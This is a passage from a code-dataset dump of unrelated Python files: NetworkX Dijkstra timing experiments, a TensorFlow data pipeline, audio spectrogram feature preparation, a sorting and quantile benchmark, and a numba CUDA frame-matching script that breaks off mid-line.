size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_d_3, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_d_4, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_d_5, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra')\n\n\n# In[20]:\n\n\n# Ejemplo de carga de grafos en NX. Lista (i, j, w), donde para cada par de nodos (i, j) su peso es w\ng = nx.DiGraph()\n\nl_e = [(0, 1, 10), (0, 2, 1), (1, 2, 1), (2, 3, 1), (3, 1, 1)]\ng.add_weighted_edges_from(l_e)\n\nfor k1 in g.nodes():\n for k2 in g[k1].keys():\n print('(', k1, k2, ')', g[k1][k2]['weight'])\n\n\n# In[21]:\n\n\ndef d_g_2_nx_g(d_g):\n \"\"\"\n Dado un grafo, lo transforma a uno de la librería NX.\n Busca los caminos entre nodos y su peso, crea una lista con todos ellos y usa el método \n nx.add_weighted_edges_from para crear el grafo NX.\n \n Parámetros\n ----------\n d_g : grafo dirigido\n \"\"\"\n d_g_nx = nx.DiGraph()\n l_e = []\n \n for k in d_g.keys():\n for adj in d_g[k]:\n l_e.append([k, adj, d_g[k][adj]])\n \n d_g_nx.add_weighted_edges_from(l_e)\n\n return d_g_nx\n \n\ndef nx_g_2_d_g(nx_g):\n \"\"\"\n Dado un grafo de la librería NX, lo transforma a uno con nuestro formato.\n \n Parámetros\n ----------\n nx_g : grafo dirigido NX\n \"\"\"\n d_g = {}\n for k in nx_g:\n d_g[k] = {}\n for adj in nx_g[k]:\n d_g[k][adj] = nx_g[k][adj]['weight']\n\n return d_g\n \n \ndef time_dijkstra_nx(n_graphs, n_nodes_ini, n_nodes_fin, step, sparse_factor=.25):\n \"\"\"\n Mide los tiempos que tarda en ejecutar el algoritmo de Dijkstra\n sobre diferentes grafos con diferentes cantidades de nodos dados en grafos NX.\n Devuelve una lista con los tiempos para cada ejecucion del algoritmo de Dijkstra.\n\n Parámetros\n ----------\n n_graphs : numero de grafos\n n_nodes_ini : tamaño de inicio\n n_nodes_fin : tamaño de fin\n step : incremento\n sparse_factor : proporcion de ramas\n \"\"\"\n \n l_time = []\n n_nodes = n_nodes_ini\n \n print(\"Tiempo en Dijkstra NX\")\n while n_nodes <= n_nodes_fin:\n #tiempo inicial\n time1 = time.clock()\n for i in range(n_graphs):\n #genera grafo en matriz\n matriz = rand_matr_pos_graph(n_nodes, sparse_factor)\n #genera dic a partir de matriz\n d_g = m_g_2_d_g(matriz)\n #dijkstra en dic para cada u\n nx_g = d_g_2_nx_g(d_g)\n for u in nx_g:\n nx.single_source_dijkstra(nx_g, u, weight='weight')\n #tiempo final\n time2 = time.clock()\n l_time.append(time2 - time1)\n print(\"Tiempo medio para n_nodes \" + str(n_nodes) + \": \" + str(time2 - time1))\n n_nodes += step\n \n return l_time\n\n\n# In[22]:\n\n\n############################################################ checking\nd_g = {\n0: {1: 10, 2: 1}, \n1: {2: 1}, \n2: {3: 1},\n3: {1: 1}\n}\n\nd_g_nx = d_g_2_nx_g(d_g)\n\nprint_d_g(d_g)\n(d_g_nx)[0][1]\n\n\n# In[23]:\n\n\nn_graphs=20\nn_nodes_ini=10\nn_nodes_fin=100\nstep=10\n\nsparse_f= 0.1\nl_t_nx_1 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\nsparse_f= 0.3\nl_t_nx_2 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.5\nl_t_nx_3 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.7\nl_t_nx_4 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.9\nl_t_nx_5 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\n\n# In[24]:\n\n\nfit_plot(l_t_nx_1, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[25]:\n\n\nfit_plot(l_t_nx_2, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[26]:\n\n\nfit_plot(l_t_nx_3, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[27]:\n\n\nfit_plot(l_t_nx_4, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[28]:\n\n\nfit_plot(l_t_nx_5, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[29]:\n\n\nfit_plot(l_t_nx_1, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_2, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_3, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_4, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_5, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[33]:\n\n\n# Cuestion 2 NX\n\nn_graphs=50\nn_nodes_ini=1\nn_nodes_fin=25\nstep=1\n\nsparse_f= 0.1\nl_t_nx_1 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\nsparse_f= 0.3\nl_t_nx_2 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.5\nl_t_nx_3 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.7\nl_t_nx_4 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\nsparse_f= 0.9\nl_t_nx_5 = time_dijkstra_nx(n_graphs=n_graphs, n_nodes_ini=n_nodes_ini, \n n_nodes_fin=n_nodes_fin, step=step, sparse_factor=sparse_f)\n\n\n# In[35]:\n\n\nfit_plot(l_t_nx_1, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[36]:\n\n\nfit_plot(l_t_nx_2, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[37]:\n\n\nfit_plot(l_t_nx_3, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[38]:\n\n\nfit_plot(l_t_nx_4, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[40]:\n\n\nfit_plot(l_t_nx_5, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n\n# In[39]:\n\n\nfit_plot(l_t_nx_1, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_2, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_3, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_4, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nfit_plot(l_t_nx_5, n2_log_n, size_ini=n_nodes_ini, size_fin=n_nodes_fin, step=step)\nplt.xlabel('Nodos')\nplt.ylabel('Tiempo Medio')\nplt.title('Crecimiento de Dijkstra (NX)')\n\n","sub_path":"Test/grafos12.py","file_name":"grafos12.py","file_ext":"py","file_size_in_byte":21883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"377057292","text":"import tensorflow as tf\r\nfrom GeneralTools.misc_fun import FLAGS\r\nclass InputPipeline(object):\r\n \"\"\"\r\n This class defines an input data pipeline.\r\n The code is modified based on richardwth/ai_for_mechatronics/TensorFlow_basics_02_session_and_input.ipynb\r\n data pipeline section\r\n \"\"\"\r\n def __init__(self, batch_size, x_data, y_data, dtype=tf.float32, name='DataPipeline'):\r\n \"\"\" Initialize a pipeline class.\r\n :param batch_size: batch size of the pipeline\r\n :param x_data: input data given to the pipeline, must be a shape like [sample_number, data]\r\n :param y_data: output data given to the pipeline, must be a shape like [sample_number, data]\r\n :param dtype: data typo of the input and output data\r\n :param name: the name of the data pipeline\r\n \"\"\"\r\n self.name_scope = name\r\n self.dtype = dtype\r\n self.batch_size = batch_size\r\n with tf.name_scope(name=name):\r\n # Create placeholder and initialize the dataset\r\n x_sample = tf.placeholder(self.dtype, x_data.shape)\r\n y_sample = tf.placeholder(tf.int32, y_data.shape)\r\n self.feed_dict = {x_sample: x_data, y_sample: y_data}\r\n self.num_samples = x_data.shape[0]\r\n self.dataset = tf.data.Dataset.from_tensor_slices({\"images\": x_sample, \"labels\": y_sample})\r\n # Apply map function\r\n self.dataset = self.dataset.map(lambda d: (d['images'], d['labels']))\r\n\r\n self.iterator = None\r\n\r\n def schedule(self, num_epoch=1, skip_count=None, shuffle=True, buffer_size=10000):\r\n \"\"\" Define a schedule of the pipeline\r\n :param num_epoch: epoch of the pipeline, if it is None or -1 will repeat the dataset infinite times\r\n :param skip_count: the number of data are skipped\r\n :param shuffle: define shuffling data or not\r\n :param buffer_size: Shuffling buffer size\r\n \"\"\"\r\n with tf.name_scope(self.name_scope):\r\n if skip_count is None:\r\n skip_count = self.num_samples % self.batch_size\r\n if skip_count > 0:\r\n self.dataset = self.dataset.skip(skip_count)\r\n if FLAGS.VERBOSE:\r\n print('{}: Number of {} instances skipped.'.format(\r\n self.name_scope, skip_count))\r\n # shuffle\r\n if shuffle:\r\n self.dataset = self.dataset.shuffle(buffer_size)\r\n # make batch\r\n self.dataset = self.dataset.batch(self.batch_size)\r\n # repeat datasets for num_epoch\r\n self.dataset = self.dataset.repeat(num_epoch)\r\n # initialize an iterator\r\n self.iterator = self.dataset.make_initializable_iterator()\r\n\r\n return self # facilitate method cascading\r\n\r\n def next(self):\r\n \"\"\" Define a function to get next batch\r\n \"\"\"\r\n if self.iterator is None:\r\n self.schedule(self.batch_size)\r\n return self.iterator.get_next()\r\n\r\n def initializer(self):\r\n \"\"\" Define a function to initialize the pipeline\r\n \"\"\"\r\n assert self.iterator is not None, \\\r\n '{}: Batch must be provided.'.format(self.name_scope)\r\n return self.iterator.initializer, self.feed_dict\r\n\r\n","sub_path":"GeneralTools/my_input.py","file_name":"my_input.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"107468012","text":"\"\"\"\nSummary: Prepare data. \nAuthor: Qiuqiang Kong\nCreated: 2017.12.22\nModified: - \n\"\"\"\nimport os\nimport soundfile\nimport numpy as np\nimport argparse\nimport csv\nimport time\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nimport pickle\n# import cPickle\nimport h5py\nfrom sklearn import preprocessing\n\nimport prepare_data as pp_data\nimport config as cfg\n\n\ndef create_folder(fd):\n if not os.path.exists(fd):\n os.makedirs(fd)\n \ndef read_audio(path, target_fs=None):\n (audio, fs) = soundfile.read(path)\n if audio.ndim > 1:\n audio = np.mean(audio, axis=1)\n if target_fs is not None and fs != target_fs:\n audio = librosa.resample(audio, orig_sr=fs, target_sr=target_fs)\n fs = target_fs\n return audio, fs\n \ndef write_audio(path, audio, sample_rate):\n soundfile.write(file=path, data=audio, samplerate=sample_rate)\n\ndef calculate_mixture_features(args):\n \"\"\"Calculate spectrogram for mixed, speech and noise audio. Then write the \n features to disk. \n \n Args:\n workspace: str, path of workspace. \n speech_dir: str, path of speech data. \n noise_dir: str, path of noise data. \n data_type: str, 'train' | 'test'. \n snr: float, signal to noise ratio to be mixed. \n \"\"\"\n workspace = args.workspace\n speech_dir = args.speech_dir\n noise_dir = args.noise_dir\n data_type = args.data_type\n fs = cfg.sample_rate\n dir_name = args.dir_name\n\n fid_clean = open(speech_dir, 'r')\n lines_clean = fid_clean.readlines()\n fid_clean.close()\n\n fid_reverb = open(noise_dir, 'r')\n lines_reverb = fid_reverb.readlines()\n fid_reverb.close()\n\n for files_clean, files_reverb in zip(lines_clean, lines_reverb):\n\n files_clean = files_clean.strip('\\n')\n files_reverb = files_reverb.strip('\\n')\n\n fid = open(files_clean,'r')\n wavLines_clean = fid.readlines()\n fid.close()\n fid = open(files_reverb,'r')\n wavLines_reverb = fid.readlines()\n fid.close()\n\n cnt = 0 \n\n for wavs_clean, wavs_reverb in zip(wavLines_clean, wavLines_reverb):\n \n t1 = time.time()\n # cnt = 0\n\n wav_name_clean, wav_path_clean = wavs_clean.split()\n wav_name_reverb, wav_path_reverb = wavs_reverb.split()\n \n # Read clean speech audio. \n (speech_audio, _) = read_audio(wav_path_clean, target_fs=fs)\n \n # Read reverb speech audio. \n (noise_audio, _) = read_audio(wav_path_reverb, target_fs=fs)\n \n # Cut reverb speech to the same length as clean speech. \n if len(noise_audio) > len(speech_audio):\n noise_audio = noise_audio[0: len(speech_audio)]\n \n # Extract spectrogram. \n mixed_complx_x = calc_sp(noise_audio, mode='complex')\n speech_x = calc_sp(speech_audio, mode='magnitude')\n\n # Write out features. \n out_feat_path = os.path.join(workspace, \"features\", \"spectrogram\", \n data_type, dir_name, \"%s.p\" % wav_name_reverb)\n create_folder(os.path.dirname(out_feat_path))\n data = [mixed_complx_x, speech_x, wav_name_reverb]\n pickle.dump(data, open(out_feat_path, 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n \n # Print. \n if cnt % 100 == 0:\n print(cnt)\n # print(mixed_complx_x)\n # print(speech_x)\n \n cnt += 1\n\n print(\"Extracting feature time: %s\" % (time.time() - t1))\n \ndef rms(y):\n \"\"\"Root mean square. \n \"\"\"\n return np.sqrt(np.mean(np.abs(y) ** 2, axis=0, keepdims=False))\n\ndef get_amplitude_scaling_factor(s, n, snr, method='rms'):\n \"\"\"Given s and n, return the scaler s according to the snr. \n \n Args:\n s: ndarray, source1. \n n: ndarray, source2. \n snr: float, SNR. \n method: 'rms'. \n \n Outputs:\n float, scaler. \n \"\"\"\n original_sn_rms_ratio = rms(s) / rms(n)\n target_sn_rms_ratio = 10. ** (float(snr) / 20.) # snr = 20 * lg(rms(s) / rms(n))\n signal_scaling_factor = target_sn_rms_ratio / original_sn_rms_ratio\n return signal_scaling_factor\n\ndef additive_mixing(s, n):\n \"\"\"Mix normalized source1 and source2. \n \n Args:\n s: ndarray, source1. \n n: ndarray, source2. \n \n Returns:\n mix_audio: ndarray, mixed audio. \n s: ndarray, pad or truncated and scalered source1. \n n: ndarray, scaled source2. \n alpha: float, normalize coefficient. \n \"\"\"\n mixed_audio = s + n\n \n alpha = 1. / np.max(np.abs(mixed_audio))\n mixed_audio *= alpha\n s *= alpha\n n *= alpha\n return mixed_audio, s, n, alpha\n \ndef calc_sp(audio, mode):\n \"\"\"Calculate spectrogram. \n \n Args:\n audio: 1darray. \n mode: string, 'magnitude' | 'complex'\n \n Returns:\n spectrogram: 2darray, (n_time, n_freq). \n \"\"\"\n n_window = cfg.n_window\n n_overlap = cfg.n_overlap\n ham_win = np.hamming(n_window)\n [f, t, x] = signal.spectral.spectrogram(\n audio, \n window=ham_win,\n nperseg=n_window, \n noverlap=n_overlap, \n detrend=False, \n return_onesided=True, \n mode=mode) \n x = x.T\n if mode == 'magnitude':\n x = x.astype(np.float32)\n elif mode == 'complex':\n x = x.astype(np.complex64)\n else:\n raise Exception(\"Incorrect mode!\")\n return x\n \n###\ndef pack_features(args):\n \"\"\"Load all features, apply log and conver to 3D tensor, write out to .h5 file. \n \n Args:\n workspace: str, path of workspace. \n data_type: str, 'train' | 'test'. \n snr: float, signal to noise ratio to be mixed. \n n_concat: int, number of frames to be concatenated. \n n_hop: int, hop frames. \n \"\"\"\n workspace = args.workspace\n data_type = args.data_type\n n_concat = args.n_concat\n n_hop = args.n_hop\n dir_name = args.dir_name\n \n # Write out data to .h5 file. \n out_path = os.path.join(workspace, \"packed_features\", \"spectrogram\", data_type, dir_name, \"data.h5\")\n create_folder(os.path.dirname(out_path))\n\n with h5py.File(out_path, 'w') as hf:\n \n x_all = [] # (n_segs, n_concat, n_freq)\n y_all = [] # (n_segs, n_freq)\n \n cnt = 0\n t1 = time.time()\n\n # Load all features. \n feat_dir = os.path.join(workspace, \"features\", \"spectrogram\", data_type, dir_name)\n names = os.listdir(feat_dir)\n\n for na in names:\n # Load feature. \n feat_path = os.path.join(feat_dir, na)\n data = pickle.load(open(feat_path, 'rb'))\n [mixed_complx_x, speech_x, na] = data\n \n # print(mixed_complx_x)\n # print(speech_x)\n \n mixed_x = np.abs(mixed_complx_x)\n\n # Pad start and finish of the spectrogram with boarder values. \n n_pad = (n_concat - 1) / 2\n n_pad = int(n_pad)\n mixed_x = pad_with_border(mixed_x, n_pad)\n speech_x = pad_with_border(speech_x, n_pad)\n \n # Cut input spectrogram to 3D segments with n_concat. \n mixed_x_3d = mat_2d_to_3d(mixed_x, agg_num=n_concat, hop=n_hop)\n x_all.append(mixed_x_3d)\n # print(mixed_x_3d.shape)\n \n # Cut target spectrogram and take the center frame of each 3D segment. \n speech_x_3d = mat_2d_to_3d(speech_x, agg_num=n_concat, hop=n_hop)\n y = speech_x_3d[:, n_pad, :]\n y_all.append(y)\n # print(y.shape)\n\n # Print. \n if cnt % 100 == 0:\n print(cnt)\n \n # if cnt == 3: break\n cnt += 1\n\n \n x_all = np.concatenate(x_all, axis=0) # (n_segs, n_concat, n_freq)\n y_all = np.concatenate(y_all, axis=0) # (n_segs, n_freq)\n \n x_all = log_sp(x_all).astype(np.float32)\n y_all = log_sp(y_all).astype(np.float32)\n\n\n\n hf.create_dataset('x', data=x_all)\n hf.create_dataset('y', data=y_all)\n \n \n print(\"Write out to %s\" % out_path)\n print(\"Pack features finished! %s s\" % (time.time() - t1,))\n \ndef log_sp(x):\n return np.log(x + 1e-08)\n \ndef mat_2d_to_3d(x, agg_num, hop):\n \"\"\"Segment 2D array to 3D segments. \n \"\"\"\n # Pad to at least one block. \n len_x, n_in = x.shape\n if (len_x < agg_num):\n x = np.concatenate((x, np.zeros((agg_num - len_x, n_in))))\n \n # Segment 2d to 3d. \n len_x = len(x)\n i1 = 0\n x3d = []\n while (i1 + agg_num <= len_x):\n x3d.append(x[i1 : i1 + agg_num])\n i1 += hop\n return np.array(x3d)\n\ndef pad_with_border(x, n_pad):\n \"\"\"Pad the begin and finish of spectrogram with border frame value. \n \"\"\"\n x_pad_list = [x[0:1]] * int(n_pad) + [x] + [x[-1:]] * int(n_pad)\n return np.concatenate(x_pad_list, axis=0)\n\n###\ndef compute_scaler(args):\n \"\"\"Compute and write out scaler of data. \n \"\"\"\n workspace = args.workspace\n data_type = args.data_type\n dir_name = args.dir_name \n # Load data. \n t1 = time.time()\n hdf5_path = os.path.join(workspace, \"packed_features\", \"spectrogram\", data_type, dir_name, \"data.h5\")\n with h5py.File(hdf5_path, 'r') as hf:\n x = hf.get('x') \n x = np.array(x) # (n_segs, n_concat, n_freq)\n \n # Compute scaler. \n (n_segs, n_concat, n_freq) = x.shape\n x2d = x.reshape((n_segs * n_concat, n_freq))\n scaler = preprocessing.StandardScaler(with_mean=True, with_std=True).fit(x2d)\n print(scaler.mean_)\n print(scaler.scale_)\n \n # Write out scaler. \n out_path = os.path.join(workspace, \"packed_features\", \"spectrogram\", data_type, dir_name, \"scaler.p\")\n create_folder(os.path.dirname(out_path))\n pickle.dump(scaler, open(out_path, 'wb'))\n \n print(\"Save scaler to %s\" % out_path)\n print(\"Compute scaler finished! %s s\" % (time.time() - t1,))\n \ndef scale_on_2d(x2d, scaler):\n \"\"\"Scale 2D array data. \n \"\"\"\n return scaler.transform(x2d)\n \ndef scale_on_3d(x3d, scaler):\n \"\"\"Scale 3D array data. \n \"\"\"\n (n_segs, n_concat, n_freq) = x3d.shape\n x2d = x3d.reshape((n_segs * n_concat, n_freq))\n x2d = scaler.transform(x2d)\n x3d = x2d.reshape((n_segs, n_concat, n_freq))\n return x3d\n \ndef inverse_scale_on_2d(x2d, scaler):\n \"\"\"Inverse scale 2D array data. \n \"\"\"\n return x2d * scaler.scale_[None, :] + scaler.mean_[None, :]\n \n###\ndef load_hdf5(hdf5_path):\n \"\"\"Load hdf5 data. \n \"\"\"\n with h5py.File(hdf5_path, 'r') as hf:\n x = hf.get('x')\n y = hf.get('y')\n x = np.array(x) # (n_segs, n_concat, n_freq)\n y = np.array(y) # (n_segs, n_freq) \n return x, y\n\ndef np_mean_absolute_error(y_true, y_pred):\n return np.mean(np.abs(y_pred - y_true))\n \n###\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest='mode')\n\n parser_create_mixture_csv = subparsers.add_parser('create_mixture_csv')\n parser_create_mixture_csv.add_argument('--workspace', type=str, required=True)\n parser_create_mixture_csv.add_argument('--speech_dir', type=str, required=True)\n parser_create_mixture_csv.add_argument('--noise_dir', type=str, required=True)\n parser_create_mixture_csv.add_argument('--data_type', type=str, required=True)\n parser_create_mixture_csv.add_argument('--magnification', type=int, default=1)\n parser_create_mixture_csv.add_argument('--dir_name', type=str, required=True)\n\n parser_calculate_mixture_features = subparsers.add_parser('calculate_mixture_features')\n parser_calculate_mixture_features.add_argument('--workspace', type=str, required=True)\n parser_calculate_mixture_features.add_argument('--speech_dir', type=str, required=True)\n parser_calculate_mixture_features.add_argument('--noise_dir', type=str, required=True)\n parser_calculate_mixture_features.add_argument('--data_type', type=str, required=True)\n parser_calculate_mixture_features.add_argument('--dir_name', type=str, required=True)\n\n parser_pack_features = subparsers.add_parser('pack_features')\n parser_pack_features.add_argument('--workspace', type=str, required=True)\n parser_pack_features.add_argument('--data_type', type=str, required=True)\n parser_pack_features.add_argument('--dir_name', type=str, required=True)\n parser_pack_features.add_argument('--n_concat', type=int, required=True)\n parser_pack_features.add_argument('--n_hop', type=int, required=True)\n \n parser_compute_scaler = subparsers.add_parser('compute_scaler')\n parser_compute_scaler.add_argument('--workspace', type=str, required=True)\n parser_compute_scaler.add_argument('--data_type', type=str, required=True)\n parser_compute_scaler.add_argument('--dir_name', type=str, required=True)\n \n args = parser.parse_args()\n if args.mode == 'create_mixture_csv':\n create_mixture_csv(args)\n elif args.mode == 'calculate_mixture_features':\n calculate_mixture_features(args)\n elif args.mode == 'pack_features':\n pack_features(args) \n elif args.mode == 'compute_scaler':\n compute_scaler(args)\n else:\n raise Exception(\"Error!\")\n","sub_path":"Frequency-domain/frames-level-feature/dnn-mapping/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":13331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"500095450","text":"#!/usr/bin/python3\n\nimport time, random, math, itertools\n\nprint(\"Test,Initialize,Count Variance,Sort,Q10000,Total\");\n\nfor a in (range(0,10)):\n\tarray = []\n\tresult = [10-a]\n\ttm_start = time.time()\n\t#for x in (range(1000000)):\n\t#\tarray.append(int(math.floor(random.random()*100))) # randint is slower\n\tarray = [int(math.floor(random.random() * 100)) for x in range(1000000)]\n\ttm_end = time.time()\n\tresult.append(tm_end - tm_start)\n\ttm_start = tm_end\n\n\tsumm = sum(array)\n\tvariance = 0\n\tavg = summ / len(array);\n\tfor x in array:\n\t\tvariance += (x-avg)**2\n\tvariance /= len(array);\n\ttm_end = time.time()\n\tresult.append(tm_end - tm_start)\n\ttm_start = tm_end\n\n\ttmp = sorted(array)\n\ttm_end = time.time()\n\tresult.append(tm_end - tm_start)\n\ttm_start = tm_end\n\t\n\talen = len(array)-1\n\tquantiles = []\n\tqn = 10000\n\tfor quantile in (range(0,qn+1)):\n\t\talq = alen * quantile / qn\n\t\tidx = int(math.floor(alq))\n\t\tdiff = alq - idx\n\t\tif diff < 0.001:\n\t\t\tqvalue = tmp[idx]\n\t\telse:\n\t\t\tqvalue = int(math.floor(tmp[idx] * (1 - diff) + tmp[idx+1] * diff +.5))\n\t\tquantiles.append(qvalue)\n\ttm_end = time.time()\n\tresult.append(tm_end - tm_start)\n\ttm_start = tm_end\n\n\tresult.append(sum(result[1:]))\n\toutfmt = \"{:d},\"+\",\".join(itertools.repeat(\"{:.3f}\",len(result)-1))\n\tprint(outfmt.format(*result))\n\n\n","sub_path":"python30.py","file_name":"python30.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"521671145","text":"import datetime\n\nfrom numba import cuda, jit\nimport numpy as np\nimport math\n\n\ndef text_read(f):\n file = open(f, 'r')\n lines = file.readlines()\n return lines\n\n\ndef to_tuple(data):\n ds = data.split()\n return (int(ds[0]), int(ds[2])), (float(ds[1]), float(ds[3]))\n\n\ndef test_data_to_tuple(data):\n ds = data.split()\n return (int(ds[1]), int(ds[3])), (float(ds[2]), float(ds[4]))\n\n\ndef search_file(test, source):\n time_start_load_data = datetime.datetime.now()\n\n list_source = text_read(source)\n list_test = text_read(test)\n\n time_end_load_data = datetime.datetime.now()\n print('读文件用时:%s' % (time_end_load_data - time_start_load_data))\n\n source_obj_data = np.array(list(map(lambda d: to_tuple(d)[0], list_source)))\n source_prob_data = np.array(list(map(lambda d: to_tuple(d)[1], list_source)), dtype=np.float)\n test_obj_data = np.array(list(map(lambda d: test_data_to_tuple(d)[0], list_test)))\n test_prob_data = np.array(list(map(lambda d: test_data_to_tuple(d)[1], list_test)), dtype=np.float)\n\n n = len(source_obj_data)\n m = len(test_obj_data)\n\n layer1 = n - m\n layer2 = m\n total_cal_numb = layer1 * layer2\n print('n=%d m=%d n-m=%d totalLoop=%d' % (n, m, (n - m), total_cal_numb))\n\n results = np.array([0.0] * (n - m), dtype=np.float)\n\n threads_per_block = 1024\n blocks_per_grid = math.ceil(total_cal_numb / threads_per_block)\n print('threads_per_block=%d blocks_per_grid=%d' % (threads_per_block, blocks_per_grid))\n\n time_start_h2d = datetime.datetime.now()\n d_source_obj_data = cuda.to_device(source_obj_data)\n d_source_prob_data = cuda.to_device(source_prob_data)\n d_test_obj_data = cuda.to_device(test_obj_data)\n d_test_prob_data = cuda.to_device(test_prob_data)\n #d_gpu_result = cuda.to_device(results)\n d_gpu_result = cuda.device_array(n - m)\n time_end_h2d = datetime.datetime.now()\n print('内存copy用时:%s' % (time_end_h2d - time_start_h2d))\n \n cuda.synchronize()\n core_cal[blocks_per_grid, threads_per_block](total_cal_numb, layer1, layer2,\n d_source_obj_data, d_source_prob_data,\n d_test_obj_data, d_test_prob_data,\n d_gpu_result)\n cuda.synchronize()\n time_end_gpu_calculation = datetime.datetime.now()\n print('*** GPU计算用时:%s' % (time_end_gpu_calculation - time_end_h2d))\n\n d_gpu_result.copy_to_host(results)\n\n result = 0\n result_frame = 0\n for i in range(n - m):\n if results[i] > result:\n result_frame = i + 1\n result = results[i]\n\n time_end_cal = datetime.datetime.now()\n print('匹配度概率为: %.2f %%, 匹配位置在抽帧样本的第 %d 帧,即原视频 %d 分处' % (result * 100, result_frame, (result_frame % 300)))\n print('*** 匹配用时:%s' % (time_end_cal - time_end_h2d))\n #assert(result == 22.360765)\n #assert(result_frame == 4029)\n\n return result, result_frame\n\n\n@cuda.jit\ndef core_cal(total_cal_numb, layer1, layer2,\n d_src_objs, d_src_probs,\n d_test_objs, d_test_probs,\n d_results):\n idx = cuda.threadIdx.x + cuda.blockDim.x * cuda.blockIdx.x\n if idx >= total_cal_numb:\n #print(total_cal_numb, idx)\n return\n\n i = idx // layer2\n j = idx % layer2\n\n s_id = d_src_objs[i + j]\n t_id = 